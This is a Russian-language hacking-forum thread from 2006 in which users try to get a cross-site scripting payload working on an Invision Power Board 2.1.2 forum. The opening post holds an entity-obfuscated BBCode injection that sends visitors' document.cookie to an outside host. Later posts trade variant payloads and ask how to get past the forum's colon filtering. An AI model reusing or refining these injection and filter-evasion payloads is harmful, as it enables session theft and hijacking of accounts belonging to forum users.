HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Перезагрузить страницу Вопрос про XSS на форуме IPB 2.1.2.
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Вопрос про XSS на форуме IPB 2.1.2.
  #1  
Старый 09.01.2006, 23:08
Astro
Познающий
Регистрация: 29.07.2005
Сообщений: 35
С нами: 10938470

Репутация: 3
По умолчанию Вопрос про XSS на форуме IPB 2.1.2.
Вот пытаюсь вставить эту XSS:
Код HTML:
[post=1000[topic=target style=background&*#58;url(javascript*:document.image*s&#9*1;&#*49;].*src=*"*&#104*;&#11*6;&#1*16;&*#112*;&#5*8;&#*47;&#*47;&#*97;&#*110;*&#116*;&#1*05;&#*99;&*#104;*a*&#11*6;&#*46;&#*114;&*#117*;&#4*7;&#9*9;&#1*03;&*#105;*&#45*;&#98*;&#10*5;&#1*10;&*#47;s.j&*#112;g?"+document.cookie); ]       [/topic]]
Естественно без звездочек, пост на форуме пустой если поставить алерт
Код HTML:
[post=1000[topic=target style=background:url(javascript:alert()); ]       [/topic]]
, то он не выскакивает.
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 09.01.2006, 23:09
max_pain89
Постоянный
Регистрация: 11.12.2004
Сообщений: 592
С нами: 11269766

Репутация: 345


По умолчанию
каким браузером?
 
Ответить с цитированием

  #3  
Старый 09.01.2006, 23:12
Astro
Познающий
Регистрация: 29.07.2005
Сообщений: 35
С нами: 10938470

Репутация: 3
По умолчанию
Ie 6.0
 
Ответить с цитированием

  #4  
Старый 09.01.2006, 23:17
max_pain89
Постоянный
Регистрация: 11.12.2004
Сообщений: 592
С нами: 11269766

Репутация: 345


По умолчанию
Попробуй таким макаром
Код HTML:
[topic=1000[post=aaa/ style=background:url(javascript:alert()); [/topic][/post]
 
Ответить с цитированием

  #5  
Старый 10.01.2006, 16:11
Astro
Познающий
Регистрация: 29.07.2005
Сообщений: 35
С нами: 10938470

Репутация: 3
По умолчанию
Не выходит, даже код не скрывает.
 
Ответить с цитированием

  #6  
Старый 10.01.2006, 21:10
Astro
Познающий
Регистрация: 29.07.2005
Сообщений: 35
С нами: 10938470

Репутация: 3
По умолчанию
Насколько я поял, дело здесь в том, что форум не пропускает двоеточие :
Вот код поста после отсылки его на форум ( Без звездочки)
Код HTML:
		<div class="postcolor" style='padding:4px;'><a href='index.php?act=findpost&pid=1000<a href='index.php?showtopic=target style=background&*#58;url(java script:alert()); '>       </a>'><br /><br /><br /></a></div>
Есть ли возможность обойти это, или подскажите какой нибудь другой код для XSS...
Последний раз редактировалось Astro; 10.01.2006 в 21:18..
 
Ответить с цитированием

  #7  
Старый 10.01.2006, 22:06
max_pain89
Постоянный
Регистрация: 11.12.2004
Сообщений: 592
С нами: 11269766

Репутация: 345


По умолчанию
&*#58; естественно без звезды
 
Ответить с цитированием

  #8  
Старый 10.01.2006, 22:19
Astro
Познающий
Регистрация: 29.07.2005
Сообщений: 35
С нами: 10938470

Репутация: 3
По умолчанию
Ну просто без звезды здесь &*#58; пробразуеться в двоеточие, а это уже не то, что было в коде поста, после отправки на форум.
Так есть ли другой код или способ обойти фильтрацию двоеточий?
Последний раз редактировалось Astro; 11.01.2006 в 15:08..
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Вопрос по уязвимостям в форуме vBulletin v.3.0.8 GaD Уязвимости CMS / форумов 27 20.01.2006 02:29
Вопрос про уязвимости в Ipb 2.1.2 Dread Уязвимости CMS / форумов 1 30.12.2005 21:39



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.